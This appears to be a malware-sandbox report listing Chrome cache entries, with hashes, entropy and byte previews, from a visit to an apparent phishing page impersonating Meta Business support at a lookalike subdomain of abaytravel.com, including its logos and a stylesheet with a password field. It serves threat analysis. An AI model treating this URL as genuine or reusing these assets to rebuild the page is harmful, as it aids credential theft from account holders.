Preview:	GIF89a..8.....E.P.o.3..........R.&w..jlDOU..2..J.F.....I......J..Lm.........."3D..N(w....n..n.&..4DG..W....3.....KnP..P...N...I...2Ufg...I....H.OUbM..w..ng...,..Sk..S..q.m... ..kP...N.....H...........y.......O.Mp.g...,Ew.t...pI....o.,.....3..U.....f..j..n.N....r.T.........J..K$.U.nk...u..}.<xj.LR.JN.y....ns.f..j....i...+0oQ.m.{...UU..r.Q.i*.P$.........oKi......i....Q..Sh...>m.-0.EO.....e....o.hm.......K...w....U..JEi.....v..+f.A.."U.D..."3.,..%P.^.s.T.fw........w..f.....w..w.+........""3.f.....Q....w...3".f......"33fwww......................"""w.....ww.....w......wwwffw.f......3.wfff....f..!!.........33@....w..f.3.f......7.f....w.8.wxw.fw.".f.........".w...f..".wc.....f..3......"D...3M....f.......UU.......f........}........!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="ht

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1200 x 1200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	42676
Entropy (8bit):	7.751709220078662
Encrypted:	false
SSDEEP:	768:QJ6R1m5mLWd4WdvyQqjv9YRNt2ZDmzqSqBoruj6f3drrFpY85JW81Cl1xB+aArel:QJ41emLWxdv7C8Nt2UzqSuu46v9rvY8I
MD5:	81BB5CF1E451109CF0B1868B2152914B
SHA1:	B70017639AFC079394BE1EA8625F7C4BEB44D617
SHA-256:	676C83478E410D324FE56ACA428D3305505732C648667B22E15C8222117C75E6
SHA-512:	1782966B78F57CC91392F3FF03F05D37E0A5FD8B04B0997B2EF708D13C162EA4AAD607E7705A36E0539D6A6B60337432EF271BFF062F7170018B42C9B8B81DE6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............!......iCCPICC profile..(.}.=H.P..OS."..;..f.N.DE...B..Z.U.....M....G.....b...YW.WA...quqRt...K.-b\|py..s..>@...f....n..D\.dW..+....,cV...]_..............H<...&^'.......V.U.s....$~............q.X,....hj...QU.)_.x.r....'.a8.//q.j..,`..D(.`.%...b!E.q......k....(C.......l........./..1..v.z.q....~....+../..O.M-z..l...MM...w..'C6eW.R..<.~F..zo..Uon.s.>.i.U..88...........{.1...vr.+.......bKGD..............pHYs.................tIME.....;)P..w.. .IDATx...y..u}...u..s..+;.....a........,.Vp.E....^.U..z[.V....Z{....jk.V..E..k........Ir..........e.....&.H.oN.\.>....I.$I.$I.$I.$I...@.$..4+b`.N.?#@}...p....<.Y.-n........5..;.^....]I...,.$IR.J.".j@..l.P.Lq.....x..l...u.....U:??]F-.,..-.<vV..t...V.....x...&.......;.1...JY.m.\|....Lt~..]<O.$.Y'I.....$I.3.*.......b`)e.4......jA.......W:.FDY2U:?...uN.,..~....&.......y..y....B....w~........$Is..K.$.N1...DZLY0-..`Z.....QK.U..'....e.5..{.2/Z...d.yzjk;.....[..(...vz.AY.5;.V...I....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1200 x 1200, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	42676
Entropy (8bit):	7.751709220078662
Encrypted:	false
SSDEEP:	768:QJ6R1m5mLWd4WdvyQqjv9YRNt2ZDmzqSqBoruj6f3drrFpY85JW81Cl1xB+aArel:QJ41emLWxdv7C8Nt2UzqSuu46v9rvY8I
MD5:	81BB5CF1E451109CF0B1868B2152914B
SHA1:	B70017639AFC079394BE1EA8625F7C4BEB44D617
SHA-256:	676C83478E410D324FE56ACA428D3305505732C648667B22E15C8222117C75E6
SHA-512:	1782966B78F57CC91392F3FF03F05D37E0A5FD8B04B0997B2EF708D13C162EA4AAD607E7705A36E0539D6A6B60337432EF271BFF062F7170018B42C9B8B81DE6
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/fb_round_logo.png
Preview:	.PNG........IHDR..............!......iCCPICC profile..(.}.=H.P..OS."..;..f.N.DE...B..Z.U.....M....G.....b...YW.WA...quqRt...K.-b\|py..s..>@...f....n..D\.dW..+....,cV...]_..............H<...&^'.......V.U.s....$~............q.X,....hj...QU.)_.x.r....'.a8.//q.j..,`..D(.`.%...b!E.q......k....(C.......l........./..1..v.z.q....~....+../..O.M-z..l...MM...w..'C6eW.R..<.~F..zo..Uon.s.>.i.U..88...........{.1...vr.+.......bKGD..............pHYs.................tIME.....;)P..w.. .IDATx...y..u}...u..s..+;.....a........,.Vp.E....^.U..z[.V....Z{....jk.V..E..k........Ir..........e.....&.H.oN.\.>....I.$I.$I.$I.$I...@.$..4+b`.N.?#@}...p....<.Y.-n........5..;.^....]I...,.$IR.J.".j@..l.P.Lq.....x..l...u.....U:??]F-.,..-.<vV..t...V.....x...&.......;.1...JY.m.\|....Lt~..]<O.$.Y'I.....$I.3.*.......b`)e.4......jA.......W:.FDY2U:?...uN.,..~....&.......y..y....B....w~........$Is..K.$.N1...DZLY0-..`Z.....QK.U..'....e.5..{.2/Z...d.yzjk;.....[..(...vz.AY.5;.V...I....

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 1080, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	198020
Entropy (8bit):	7.954760611313072
Encrypted:	false
SSDEEP:	3072:XSMRYs/fpdHP2vNH4WRCAc1oe7GV7leZX6MyNCur9GXpqrR9ee:XjYQdehdEtoeK3a0l8UR
MD5:	FE979FEB97D4AC7D44BCD547BC23D9A2
SHA1:	87E59BE9FF35C90906E9C1C0E7021D11C8F62E1A
SHA-256:	F63CA8AAB55D8EEDFB62CEE0C1891C0355F118DF5FF22713B0F45E6ACFD5F8A6
SHA-512:	8086205CE677F65A25ECF8FBBC97B40A158AE56028EC37A8D92944DA76DEA341513C1637014D18D095A34E2351BAE220889D022E3B6F7B08BE15DEA568CB5FA2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......8.....g.V.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............IDATx...y......=..W.......&...6.cf$.j#$.W.W..Z+...7\|D8,.".....UX...v.V..Zk.#m.J...5.^.{H.........t.BU....../...&...(.....S..U.U..\|~.....cK.........j+k}............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4.......`...........sA............h........\.@..................0............ ............4....

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 900 x 240, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	105511
Entropy (8bit):	7.947376852451873
Encrypted:	false
SSDEEP:	1536:VudXKa4pprle5L3Ve48HXzXl4F4fTy9AeC9hhxVK0cYUFLWyMjmy/Yu:/xe5UHDaCTy9bmPJURWBjma
MD5:	FFBA640622DD859D554EE43A03D53769
SHA1:	C91A100DB7BFC04DF9A5F3223D5B6F17536BF5EE
SHA-256:	139D38D0FBFED2FD9F2B782AF9B3EB08005B9BC75FAAA31FE29720CC64BCAB0F
SHA-512:	70C7C4DF14A22E00A0CAF1DAF001E608454604FA0B4C13583EFAC7A8CAFF6C726D62C024F9E0626760B524F7D08184E4E30CF4A49BE505ACB1F9D29CFCE35993
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/meta-logo-grey.png
Preview:	.PNG........IHDR.............X..q....zTXtRaw profile type exif..x..i......c.^..a9..pN....wAJ....].L%I.....w@.;......#._]...Q..G.q...c....{~..}.~....~..tH..P?......~......~.~.b........%iFzo..w..?_....,_Go.\.:.W.....uz...i.....Y.:).B.<...@.ori.E........c.' ......`k../..%+?........=[9~.I....\|...](.}.~^?.r..}....v.....}..k..5...+...E.X.{.q.K...1.....!....t.zS.._..0B$]7.`a...{.a3......cz.vr7.&.!e...[..R'...=..s..]v....:W...10XxE.7...=.^..../.....l......H......?.?..D.......v}.X%....Kt.....B...L.K.&... k!.P.o1...d'A...."...hL2...Q.....D>v\|....B.5r3.$Y9...N..J....J/..j....@q..k...Zo..z...z...G.4...>..kNF..=9`..WZy...j....\|v.e..v.cO.....j...'.J..SN=..3...M..[n...;....oZ...7...Y./S:.......c. 8)......2...:g....2........dQ.,(cd0....?r..'....+o.._.....sJ......WY3..~..t.........8..d.,=..l...c.7s......G<...4....W_a.[W...\|...U@.+.Uz.5.i...2+...S....[...2.2...gX[..P.NX......l..b....M.....~.f#.....jy... yl./.....l..,.3........G:..H.G..x....v...4

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5723
Entropy (8bit):	7.950822106896149
Encrypted:	false
SSDEEP:	96:upH/omZ4SOy3uxD+WxV6jD9/zIvNVCvEknBgSjERtW82iAsuFQAIFbISS2V0wZ:upHRZ3qKvZzMGvBg5RuaAIFc5ohZ
MD5:	95382A6DAB40D5911185A921C53E6F6B
SHA1:	4229CB577571111D747021988AAC9DD6CD50634F
SHA-256:	E341D9055288DFCD7DD5FACAB6C915F6B7BCFFBF80F8B48468C7275B8CADA069
SHA-512:	58DFD1656F931BF14044A8D4D790CCD3369A33D42AEA35774BF4B0F2242173795C86FDE3280D74849BE492BBC50D4515F3F3985F93766559544DA37E9988BC03
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/doc.png
Preview:	.PNG........IHDR...<...<.....:..r..."IDATx^.k..Wy...Zk.}..s.a....x<.B....L..j......$%U?D.zQ....$m...$R...hU.(..`..-.4$.[..M......./..9g......Gk..B...%.y.....{....y.=2...S.~..D@"H...F..ZzD"...e...%.....D...Z.8F......K...-...^(..B....+.B..<.f\|...;..PE....G.Dt..H..0...........l.!......~....6.'..%....P..".~.{......=....b.P......hA.. i................U$,#.JK$.\c.o.O..u-.\)H.h...R...A.6.kVh....QUP.\l..^.......V&...(.q.........q....7.Aq3.`p...........&....`......\.........(.Y..!.`GvO.c...".=..4."Z.."._...~.".P..../..xv.>p........L....hq.bB../M.DZ@....feb~/(".A..........G.IsAJ...B.j@0).1w0Z..m....u.......w..........<.>P...n...v.q...8t....^r\..M.....^..i.\|_.n.....X..P;.d...ph..............C?.N..y...>r0..y.A.O......4.....$YpU%P.E..>.........;h.i....X.X...z.N._.%\{..s.-..\....~=..T..=Ok.]3\%.Q3....}....T.I{.R..@..~.D.t..k?FV....'"...........r..."5.%...\p...Z....G9.......{.J....R..J.?..{_B.cn>.A"..&..\|... X:STLU.......Se'(..V..BB....Et...f\|/..RT+..!...A...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	11622
Entropy (8bit):	4.882633051728271
Encrypted:	false
SSDEEP:	192:oylK/i37tsmpFJg9Cxy2EJeG2x3rnhq9AjT7RM3I7rJczpAmlHFKK+fFDPM9VQJ7:lftzlnhx9MYXmOiFCFoV8VQxM
MD5:	D0057BA3BA52BF55A2E251CD40E43978
SHA1:	D69D834434FEEE1DDE288A62F26819F8036CA872
SHA-256:	BFF6093D0A9BB4B155AD4421357237C65D7CFA1E7907A254EE932BA1DAD640A0
SHA-512:	067F910F5D4A42D1C53C72B9E4EE1E2BC7C566153E30E7AC8CA2291730684D90EE5E5296564194710886E424DD44B5913B4E9DB2C7F562C44100A4E586E3DC5A
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/styles/style.css
Preview:	#html {. background: rgb(249, 241, 249);. background: linear-gradient(90deg, rgba(249, 241, 249, 1) 0%, rgba(234, 243, 253, 1) 35%, rgba(237, 251, 242, 1) 100%);.}..body {. background: inherit;. height: 100vh;. overflow: hidden;. overflow-y: scroll;.}...row {. height: 100%;.}..#left {.. height: 100vh;. padding: 40px 20px 0 0;. /* padding-bottom: 0; /. / overflow-y: scroll; /. position: sticky;. position: -webkit-sticky;. / ---- /. top: 0;. overflow-y: auto;. / ------- /.}...col-4 {. border-right: 1px solid #DEE3E9;.}..#right {. padding: 40px 20px;.}..#logo {. width: 70px;. / height: 12px; */.}.#utm-ticketId{. margin-bottom: 15px;.}..#show-hide-pass {. width: 28px;. right: 30px;. position: absolute;. cursor: pointer;. transform: scaleX(-1);.}..h1,.h2 {. line-height: 30px;. color: rgb(28, 30, 33);. font-family: Optimistic Display Bold, Helvetica, Arial, sans-serif;.. font-weight: 700;.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 120 x 120, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7550
Entropy (8bit):	7.960579777190278
Encrypted:	false
SSDEEP:	192:ri4sn8ZlCLFUm5Dk3CqDEkV8YaTETosC1nEDuO0f+htV:rfsn4CBnKCqYkaUoseEDuO0C7
MD5:	8D3BCD1278891FC1E52D38E72549B3D0
SHA1:	AF1AB86B5A3993C468C3BE9C59A8ED3D9091454D
SHA-256:	8FC3F44A189200B47C93A90AD8DFFE40FCDEDA8A718E62BB4BAF98F00D536E97
SHA-512:	E8C73AB69E70BDCA02C1C7004947186455C632692311B4CA91D1BEA143CE7F0B986DC0B0623B8AE82F9561549337171B3E89A55F7BCD92964FE214DDAB1C4FEB
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/save_img.png
Preview:	.PNG........IHDR...x...x.............PLTE.......................W............M.............................\|k~`P..{.........mWN'.7..>..U.._9&...H .-..C..lI4...$..J#...T..E........uK.G.V5....{..T.gB.s.w.s.u.q.n....h........`........u...>...A.................:..e..F.......B..............._.....`...............{......o................................................d........5.............................A.................x..u....y..p..............`..s...................n.......i....e..N...................x........\|....k.......Y....T...........F./......m.p..J..N...@....i..........f......[.....u...........z..Q..............u......<.....f.......j....I.....^.........+.......tRNS...........#.q....(IDATx^..E.#W.......^........<.a...^[..Y..LZ.r\^y........$YY.~...>........o............f.t.g.3.Q.......V.......lSt..s..rp..4...7K;..d6)._.6r......voS.2T.

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1200 x 1200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	43347
Entropy (8bit):	7.719092300394034
Encrypted:	false
SSDEEP:	768:EVQcgU3l90tiqE88QMgEWoMndEmHrxITzWfkCqI3q1ChacUDEagb:Eui/yxoMdEOrIzWv61cU2
MD5:	09946BDF69E1C9D67B303E80686043EF
SHA1:	0BB873ABF2AD063D7A1173C32592FC6EB4429E17
SHA-256:	67B50075063488C657F548FEC63D8C401E772DAB9F64970095E7D7E878F11D66
SHA-512:	D0C12B9D8353DF5B5C4419DAED0954B3D663C524E979934C5B1036C9E486BABE7B531FEFBEB85E2274CC9449B1B85AC4C038ECB69FFDE4227F162165FE723701
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............!......IDATx.....de}.....{.3.,.a..a`X..Y.7.E@YD....D1..z\.....&.hb....kLrorscLb..D..^....J..}...[...z.ii`.Y.....~..../.L..o... I.$I.$u1.,I.$I.$u.Z...$I.!....H.S#@c.?2..3M.;...r.#n.&...xx~.$.uF..f:9.$I..Kb..$Iz(Y^L]...7..@5.L..v..+....e3......\5..t..8.Z....LS...y.Z/...<7...6.l....................I.N`,\|..]..h5...$I.....$I.7.(......%.~.dZ..[.............1.P2U......)CaU>..6..6...".^...M........]....cML.m5.N..XI.4....N.$.PLUf.HKB..,L0-.?^.....[..OC!5.J....U.h..j<..........oo.....3.w.Rlr.4s.K.$.+/.%I.n..bz.jzZj............Z.&...)+wo..v8.-<.....-..5._...V3..;.$I...X.$i.0E.0.O.C9..80<....0q%=.N8..i..]...?.....7N..[Z..;.$I...K.....Em.TT.......PP....]S.yZb.....\.0.....[....pK(.6MO{...x...$i~X`I..g.$..N...G..Z;..: ..k..9%u..k4.[..(.~.J.[.D..]...$..X`I......]S...~S.u.a..Z.~~.1.;.4..PXm.q....?.~..<.[..c....$.GY`I....T..p.oe..:.82....._.N*i.2..+.K..._...A...Ql9.%IR....$..dy1.......%.Q....._..qi.m.n.G.o...\|?.[..w....!%I.}..$).p.oA8.&.TG..

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18787
Entropy (8bit):	7.541894332943817
Encrypted:	false
SSDEEP:	384:RLwiYUB+GVTS4XHEHc6jMfHrk0T0U0t9424sWnUq5/cYC1/KNk7:miYdvGH+MDk0Y79jjBqRcYcKNe
MD5:	8942E3FF39CD6784C7C89BD6EB26D604
SHA1:	B03E96FA075BA36FC3D6729FB312F0A59C2A023A
SHA-256:	9B7C1670777CC38A18FC6B98443B40036FDE8DE97CDBA6087E2A31A1DE9E748B
SHA-512:	AF5040882B3BA0D18C56B5CF0CAD4C2F8E6FCBABDA8B85D0284DAB2662A5BAB76E38CE6FDD261B27A394D55E58F427ABA7EDBE8D3A8A33EE422D43CBA85BF741
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...d...e.......F...$.zTXtRaw profile type exif..x..k..7.d.s........<gv0...lIn..d.J.Y.H..D......{......\Z..V.<.o..................7"/%...?{........>_&.........7..c.i....4#}...._...y#\|.0..RFo._.....l.......i......sR..B........$.&oD..)..K....)\|....>}.5...T..~............Z9~}$......?\|......s....w.....3..v_..=..5...+[]...m).;>.x...U..S.........../~.0B.\7.p..7....f.9...ob.K/.........pc.'u,...s.....c...=.....h..&w......{..!....-.W..l.!..o>.E.....6.........Bd...3..7$H.....~b0..5.[......`..J....[.ld.@..Gbfa.PJ<L2...Q..GZx..%..u..K.TS.6D....?-w\|h.Tr)..Vz.e.Ts-..V.....]+...z.m..s/...{.}.8..YF.m.1.<s2..'..s.V^....k..q..w.u........q.i..q...,[.j....W...\|...~..........j..j.YJ.l...}.".N.l......7.......!.(..f..N.D&Yd..d1,.-.r.7....,.?......?.......~...Y.(..g.O.jS}".x...}.....i..dc...T...v....i./.Tl.F.1W....3........6.S.....+a .\.+.U.V.7..w.....<..i[tq.}s....}..d_.b..6I...lb..gmg-.8,.....I.o..~~....Yg.'..\| .....j......

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	87533
Entropy (8bit):	5.262536918435756
Encrypted:	false
SSDEEP:	1536:0RUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKr:sHNwcv9VBQpLl88SMBQ47GKr
MD5:	2C872DBE60F4BA70FB85356113D8B35E
SHA1:	EE48592D1FFF952FCF06CE0B666ED4785493AFDC
SHA-256:	FC9A93DD241F6B045CBFF0481CF4E1901BECD0E12FB45166A8F17F95823F0B1A
SHA-512:	BF6089ED4698CB8270A8B0C8AD9508FF886A7A842278E98064D5C1790CA3A36D5D69D9F047EF196882554FC104DA2C88EB5395F1EE8CF0F3F6FF8869408350FE
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.7.1/jquery.min.js
Preview:	/! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.remove

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5723
Entropy (8bit):	7.950822106896149
Encrypted:	false
SSDEEP:	96:upH/omZ4SOy3uxD+WxV6jD9/zIvNVCvEknBgSjERtW82iAsuFQAIFbISS2V0wZ:upHRZ3qKvZzMGvBg5RuaAIFc5ohZ
MD5:	95382A6DAB40D5911185A921C53E6F6B
SHA1:	4229CB577571111D747021988AAC9DD6CD50634F
SHA-256:	E341D9055288DFCD7DD5FACAB6C915F6B7BCFFBF80F8B48468C7275B8CADA069
SHA-512:	58DFD1656F931BF14044A8D4D790CCD3369A33D42AEA35774BF4B0F2242173795C86FDE3280D74849BE492BBC50D4515F3F3985F93766559544DA37E9988BC03
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...<...<.....:..r..."IDATx^.k..Wy...Zk.}..s.a....x<.B....L..j......$%U?D.zQ....$m...$R...hU.(..`..-.4$.[..M......./..9g......Gk..B...%.y.....{....y.=2...S.~..D@"H...F..ZzD"...e...%.....D...Z.8F......K...-...^(..B....+.B..<.f\|...;..PE....G.Dt..H..0...........l.!......~....6.'..%....P..".~.{......=....b.P......hA.. i................U$,#.JK$.\c.o.O..u-.\)H.h...R...A.6.kVh....QUP.\l..^.......V&...(.q.........q....7.Aq3.`p...........&....`......\.........(.Y..!.`GvO.c...".=..4."Z.."._...~.".P..../..xv.>p........L....hq.bB../M.DZ@....feb~/(".A..........G.IsAJ...B.j@0).1w0Z..m....u.......w..........<.>P...n...v.q...8t....^r\..M.....^..i.\|_.n.....X..P;.d...ph..............C?.N..y...>r0..y.A.O......4.....$YpU%P.E..>.........;h.i....X.X...z.N._.%\{..s.-..\....~=..T..=Ok.]3\%.Q3....}....T.I{.R..@..~.D.t..k?FV....'"...........r..."5.%...\p...Z....G9.......{.J....R..J.?..{_B.cn>.A"..&..\|... X:STLU.......Se'(..V..BB....Et...f\|/..RT+..!...A...

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6043
Entropy (8bit):	7.939355751318444
Encrypted:	false
SSDEEP:	96:s7xaydiMkBvGfzBKIFuC/bG6UAlQloqPZ6UtCjcphNixjT0vtK9E0NJGNKIX3D7b:s7xxr3oFloqPHtCQViV0vMVUj3D71rrx
MD5:	D5D30F28CA92743610C956684A424B7E
SHA1:	FD4A7207B724254D981A4ED4C7F675FD87868535
SHA-256:	4B842E25C6BE485FD7F06B745AC91DB2B6E9EEE778C5442B157BE78D51F83563
SHA-512:	7D0A522805B0A34B33F48791BBBFDFC361B9D91EE9D5843D67E8E1A774F9D8DAD42C7D0EFA429738A0680FCB8D71DACC4B47E22F1DAA8CE718DBF36E6DB35328
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............\r.f....bKGD.............PIDATx...p].u......h.R..2.P.P6C.`7,!m&.N..N.L.M.M'@gZ....().4...b.e.Z,..Y..la..nU(.XR...f3...H...zzz....wf~c..z..s....s.X.A.........y..3...q......i....'..a..-[...'..?...].u..<...6l........a.)...O.c..~......H..G..n.w.w.6.........../...<.'. .8...l{.....m....<_^....../...:.'. id..'..o6...r......S..w..O...._..d9.D.x1D..{..........$.........e..bo.>.....K>^$].. ......N.],v....xP\..!.{..m6'..{.g._'r.s....s...H..}..u......7".Y.[V;qD..;...J..%_.x.2..d\|...8c.. ....,.qU.$6Qy.....;-W`.X.dRo?9..e`.8Y`....*J...Kl.).....d.6n.x...d..z....Quh.C.Y,....JT..8!.6.O.#@....'.{..].y...D]l.E.6.].#r.`....D4....."..yl...xEDD}...b....H...-..tvv...}.x...4]..........!...p.m..9....[.}....w.z.(.b.s...0d...r..5.............x...K&.z0Zp.>..Xn.....?#1i.c.7..%..3I\..:...1.}..O.y.....3.a..........-...Ch....\|(...._..\.#.?......8.9.7....V...............A+@.S.q.[...~G.`T}.g..&.n#......?...x.."e~.Q].@v.v/..[..!A.y[

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1200 x 1200, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	43347
Entropy (8bit):	7.719092300394034
Encrypted:	false
SSDEEP:	768:EVQcgU3l90tiqE88QMgEWoMndEmHrxITzWfkCqI3q1ChacUDEagb:Eui/yxoMdEOrIzWv61cU2
MD5:	09946BDF69E1C9D67B303E80686043EF
SHA1:	0BB873ABF2AD063D7A1173C32592FC6EB4429E17
SHA-256:	67B50075063488C657F548FEC63D8C401E772DAB9F64970095E7D7E878F11D66
SHA-512:	D0C12B9D8353DF5B5C4419DAED0954B3D663C524E979934C5B1036C9E486BABE7B531FEFBEB85E2274CC9449B1B85AC4C038ECB69FFDE4227F162165FE723701
Malicious:	false
Reputation:	low
URL:	https://i.imgur.com/FOY6xZ9.png
Preview:	.PNG........IHDR..............!......IDATx.....de}.....{.3.,.a..a`X..Y.7.E@YD....D1..z\.....&.hb....kLrorscLb..D..^....J..}...[...z.ii`.Y.....~..../.L..o... I.$I.$u1.,I.$I.$u.Z...$I.!....H.S#@c.?2..3M.;...r.#n.&...xx~.$.uF..f:9.$I..Kb..$Iz(Y^L]...7..@5.L..v..+....e3......\5..t..8.Z....LS...y.Z/...<7...6.l....................I.N`,\|..]..h5...$I.....$I.7.(......%.~.dZ..[.............1.P2U......)CaU>..6..6...".^...M........]....cML.m5.N..XI.4....N.$.PLUf.HKB..,L0-.?^.....[..OC!5.J....U.h..j<..........oo.....3.w.Rlr.4s.K.$.+/.%I.n..bz.jzZj............Z.&...)+wo..v8.-<.....-..5._...V3..;.$I...X.$i.0E.0.O.C9..80<....0q%=.N8..i..]...?.....7N..[Z..;.$I...K.....Em.TT.......PP....]S.yZb.....\.0.....[....pK(.6MO{...x...$i~X`I..g.$..N...G..Z;..: ..k..9%u..k4.[..(.~.J.[.D..]...$..X`I......]S...~S.u.a..Z.~~.1.;.4..PXm.q....?.~..<.[..c....$.GY`I....T..p.oe..:.82....._.N*i.2..+.K..._...A...Ql9.%IR....$..dy1.......%.Q....._..qi.m.n.G.o...\|?.[..w....!%I.}..$).p.oA8.&.TG..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 100 x 101, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18787
Entropy (8bit):	7.541894332943817
Encrypted:	false
SSDEEP:	384:RLwiYUB+GVTS4XHEHc6jMfHrk0T0U0t9424sWnUq5/cYC1/KNk7:miYdvGH+MDk0Y79jjBqRcYcKNe
MD5:	8942E3FF39CD6784C7C89BD6EB26D604
SHA1:	B03E96FA075BA36FC3D6729FB312F0A59C2A023A
SHA-256:	9B7C1670777CC38A18FC6B98443B40036FDE8DE97CDBA6087E2A31A1DE9E748B
SHA-512:	AF5040882B3BA0D18C56B5CF0CAD4C2F8E6FCBABDA8B85D0284DAB2662A5BAB76E38CE6FDD261B27A394D55E58F427ABA7EDBE8D3A8A33EE422D43CBA85BF741
Malicious:	false
Reputation:	low
URL:	https://metabussiness-helper-verify24h-now.abaytravel.com/img/block_2.png
Preview:	.PNG........IHDR...d...e.......F...$.zTXtRaw profile type exif..x..k..7.d.s........<gv0...lIn..d.J.Y.H..D......{......\Z..V.<.o..................7"/%...?{........>_&.........7..c.i....4#}...._...y#\|.0..RFo._.....l.......i......sR..B........$.&oD..)..K....)\|....>}.5...T..~............Z9~}$......?\|......s....w.....3..v_..=..5...+[]...m).;>.x...U..S.........../~.0B.\7.p..7....f.9...ob.K/.........pc.'u,...s.....c...=.....h..&w......{..!....-.W..l.!..o>.E.....6.........Bd...3..7$H.....~b0..5.[......`..J....[.ld.@..Gbfa.PJ<L2...Q..GZx..%..u..K.TS.6D....?-w\|h.Tr)..Vz.e.Ts-..V.....]+...z.m..s/...{.}.8..YF.m.1.<s2..'..s.V^....k..q..w.u........q.i..q...,[.j....W...\|...~..........j..j.YJ.l...}.".N.l......7.......!.(..f..N.D&Yd..d1,.-.r.7....,.?......?.......~...Y.(..g.O.jS}".x...}.....i..dc...T...v....i./.Tl.F.1W....3........6.S.....+a .\.+.U.V.7..w.....<..i[tq.}s....}..d_.b..6I...lb..gmg-.8,.....I.o..~~....Yg.'..\| .....j......

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 900 x 240, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	105511
Entropy (8bit):	7.947376852451873
Encrypted:	false
SSDEEP:	1536:VudXKa4pprle5L3Ve48HXzXl4F4fTy9AeC9hhxVK0cYUFLWyMjmy/Yu:/xe5UHDaCTy9bmPJURWBjma
MD5:	FFBA640622DD859D554EE43A03D53769
